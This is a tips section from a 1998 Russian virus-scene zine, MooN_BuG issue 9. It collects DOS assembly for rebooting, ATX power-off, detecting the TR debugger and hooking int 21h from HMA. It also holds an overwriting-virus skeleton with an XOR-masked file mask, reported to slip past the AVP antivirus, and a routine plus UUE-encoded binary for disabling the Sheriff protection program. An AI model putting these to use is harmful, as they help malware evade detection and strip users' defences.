[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 00E
Полезные советы
by All
──────────────────────────────────────────────────────────────────────────────
Subj : перезагружалка под win 98 by Butenin Andrey
Грубо... Без всяких сбросов кэша... Hо зато работает убойно.
> mov ax,0fff0h
> push ax
> mov ax,0f000h
> push ax
> retf
──────────────────────────────────────────────────────────────────────────────
Subj : Детектор дебуггера TR v2.02 by VVS
=== Cut ===
.model tiny
.code
.386
.startup
mov ax,0000h
call get_cmos
mov cl,al
mov ax,0002h
call get_cmos
mov ch,al
mov ax,0004h
call get_cmos
mov dl,al
mov ax,0006h
call get_cmos
mov dh,al
cmp dx,cx
jne not_TR
mov ah,9
mov dx,offset msg
int 21h
not_TR:
int 20h
msg db 'Detect TR v2.02',13,10,'$'
get_cmos:
out 70h,al
jmp $+2
in al,71h
ret
end
=== Cut ===
──────────────────────────────────────────────────────────────────────────────
Subj : Re: перезагружалка под win 98 by Vladislav Ivanov
;TASM winreset.asm /w2 /m9
;TLINK winreset.obj /tc
;Use: winreset [/p | /r | /k]
.model tiny
.code
org 100h
start: lea sp, end_stack_area
mov ah, 4ah
mov bx, (end_stack_area-start+10Fh)/16
int 21h ;лишняя память
jc Quit
;сброс 1 HDD
xor ah, ah
mov dl, 80h ;для 2 будет 81h
int 13h
;разбор командной строки
mov di, 81h ;PSP
mov cl, [di-1]
cmp cl, 1
jbe wait_key ;пуста - запрос на ввод
cld
mov al, 20h
repe scasb ;лишние пробелы
jcxz wait_key
mov ax, [di-1]
and ah, 0DFh ;в заглавную
cmp al, '/'
jne badp
cmp ah, 'P' ;указано в командной строке '/P' ?
je Power_off ;да - выключаем без вопросов
cmp ah, 'R' ;указано '/R' ?
je Restart ;да - перезагрузка
cmp ah, 'K'
je No_win
;неверный параметр
badp: mov ah, 09
mov dx, offset msg_help
int 21h
quit: ;выход
mov ah, 4Ch
int 21h
Wait_key: mov ah, 9 ;вывести текст
mov dx, offset msg_prmpt ; приглашения
int 21h
mov ah, 1 ;ввод с эхом
int 21h
cmp al, 13
je Restart ;Enter - перезагрузить
and al, 0DFh ;в заглавную
cmp al,'P'
je Power_off ;P - выключить
cmp al,'R'
je Restart ;R - перезагрузить
cmp al,'Q'
je Quit ;Q - закончить
cmp al,'K'
je No_Win ;K - снять задачу
;выбор неправильный
mov ah, 2
mov dl, 7
int 21h
mov ah, 9
mov dx, offset crlf
int 21h
jmp short wait_key
no_win: ;ресет под ДОС
mov al, 0FEh
out 64h, al
mov ax, 0FFFFh ;если не получится через порт 64h
push ax
xor ax, ax
push ax
retf
power_off: ;выключение питания (Только для ATX)
pushf
cli
mov al,0Ch
out 2Eh,al
mov al,75h
out 2Fh,al
out 2Fh,al
mov al,11h
out 2Eh,al
xor al,al
out 2Fh,al
out 2Fh,al
mov al,0Dh
out 2Eh,al
mov al,0A0h
out 2Fh,al
out 2Fh,al
in al,75h
popf
restart: ;ресет под w
push es
mov ax,01687h
int 2fh
or ax, ax
jnz no_win
mov ax, es
pop es
mov word ptr dpmi_entry_point, di
mov word ptr dpmi_entry_point+2, ax
mov ah, 48h
mov bx, si
int 21h
jc no_win
mov es, ax
xor ax, ax
call dword ptr [dpmi_entry_point]
; Now we in Prot16
xor di, di
mov di, es
mov bx, 9
mov ax, 1684h
int 2Fh
mov ax, es
mov word ptr vxd_reboot+2, ax
mov word ptr vxd_reboot, di
or ax, di
jz no_win
mov ax, 100h
call dword ptr [vxd_reboot]
msg_help db 'Use: /R = restart',13,10
db 9,'/P = power OFF',13,10
db 9,'/K = kill task',13,10,'$'
msg_prmpt db ' R= Restart (Enter)',13,10
db ' P= Power OFF',13,10
db ' K= Kill task (windows only)',13,10
db ' Q= Quit',13,10
db ' Select: [ ]',8,8,'$'
crlf db 13,10,'$'
dpmi_entry_point dd ?
vxd_reboot dd ?
stack_area db 100h dup (?)
end_stack_area label word
end start
──────────────────────────────────────────────────────────────────────────────
Subj : Soft-off by Vladimir Serebryakov
Программное управление выключением питания Системная плата поддерживает
управление выключением (Soft-off) с помощью кода SMM в BIOS. Это свойство
является опцией производителя. Контакт CS1 контроллера ввода/вывода
соединяется с линией управления включением/выключением в блоке питания.
Регистры контроллера ввода/вывода, которые управляют состоянием контакта CS1
инициализируются кодом SMM, выполняющим следующие действия:
· OUT 0Ch to I/O port 2Eh
· OUT 75h to I/O port 2Fh
· OUT 11h to I/O port 2Eh
· OUT 00h to I/O port 2Fh
· OUT 0Dh to I/O port 2Eh
· OUT A0h to I/O port 2Fh
После такой инициализации любая операция чтения по адресу ввода/вывода
75h переключит цепь управления включением/выключением и выключит блок
питания.
======== OFF.ASM ==============
p186
ideal
model tiny, pascal
codeseg
macro io_delay
local @@next
jmp @@next
@@next:
endm
StartupCode
mov al,0Ch
out 2Eh,al
io_delay
mov al,75h
out 2Fh,al
io_delay
mov al,11h
out 2Eh,al
io_delay
mov al,0h
out 2Fh,al
io_delay
mov al,0Dh
out 2Eh,al
io_delay
mov al,0A0h
out 2Fh,al
io_delay
in ax,75h
ret
End @Startup
===============================
tasm off.asm
tlink off /t
──────────────────────────────────────────────────────────────────────────────
Subj : Вот пример накатал заюзывания HMA, висит на 21h без глюков (c) VVS
=== Cut ===
; using HMA
.model tiny
.code
.386
.startup
vector equ 21h ;
mov ax,4310h
int 2fh
mov cs:xms_ofs,bx
mov cs:xms_seg,es
mov ax,4a01h
int 2fh
cmp bx,len ; bx=free bytes
jb error
; allocate HMA space
mov ax,4a02h
mov bx,len
int 2fh ; es:di -> allocated block
; copy2hma
push di
push di
mov si,offset intxxhand
mov cx,len
rep movsb
; set interrupt
mov ds,cx ;DS=CX=0
mov si,vector*4 ;Set int 21
pop di
add di,offset ixxvec-offset intxxhand
movsw ; ds:[si]->es:[di]
movsw ;
pop di
mov word ptr [si-4],di
mov word ptr [si-2],es
retn
error:
mov dx,offset msg
mov ah,9
int 21h
retn
msg db 'error',13,10,'$'
intxxhand:
pusha
pushf
mov ah,5
db 9ah
xms_ofs dw ?
xms_seg dw ?
popf
popa
db 0eah
ixxvec dd ?
len equ $-offset intxxhand
end
=== Cut ===
──────────────────────────────────────────────────────────────────────────────
Subj : Трики (c) FRiZER
Сидел тут делал что-то напоминающее BATalia8.AutoCheck by Reminder для
проверки триков. Cижу проверяю. сначала свой трик подсунул. смотрю ни авп ни
вэб его не находят. ништяк думаю. попробовал трики от Reminder'a - вэб их в
основном находит, а вот АВП нет. оказалось, что АВП не понимает даже такую
вещь:
xor bx,bx
dec bx
xor word ptr msk,bx
findfirst
findnext
openfile
writetofile
closefile
ret
msk dw not ".*"
db "com",0
придется думать, как же этот гребаный АВП заставить находить обычный
Trivial :(
──────────────────────────────────────────────────────────────────────────────
Subj : Выключение Шериффа (c) FRiZER
;This program disables Sheriff
.model tiny
.code
.startup
org 100h
mov cx,2Eh
mov al,0F0h
l:
push ax cx
xor ah,ah
mov bl,al
xor cx,cx
mov dx,82h
int 13h
pop cx ax
inc ax
loop l
ret
end
=== Cut ===
section 1 of 1 of file dis_sher.com -={ UUE 1.06, ARA (C) 1995 }=-
begin 644 dis_sher.com 11-3-1998 22:12:50
8N2X`L/!043+DBM@SR;J"`,T365A`XN[#
`
end
sum -r/size 49016/83 section (from "begin" to "end")
sum -r/size 61598/24 entire input file
=== Cut ===
──────────────────────────────────────────────────────────────────────────────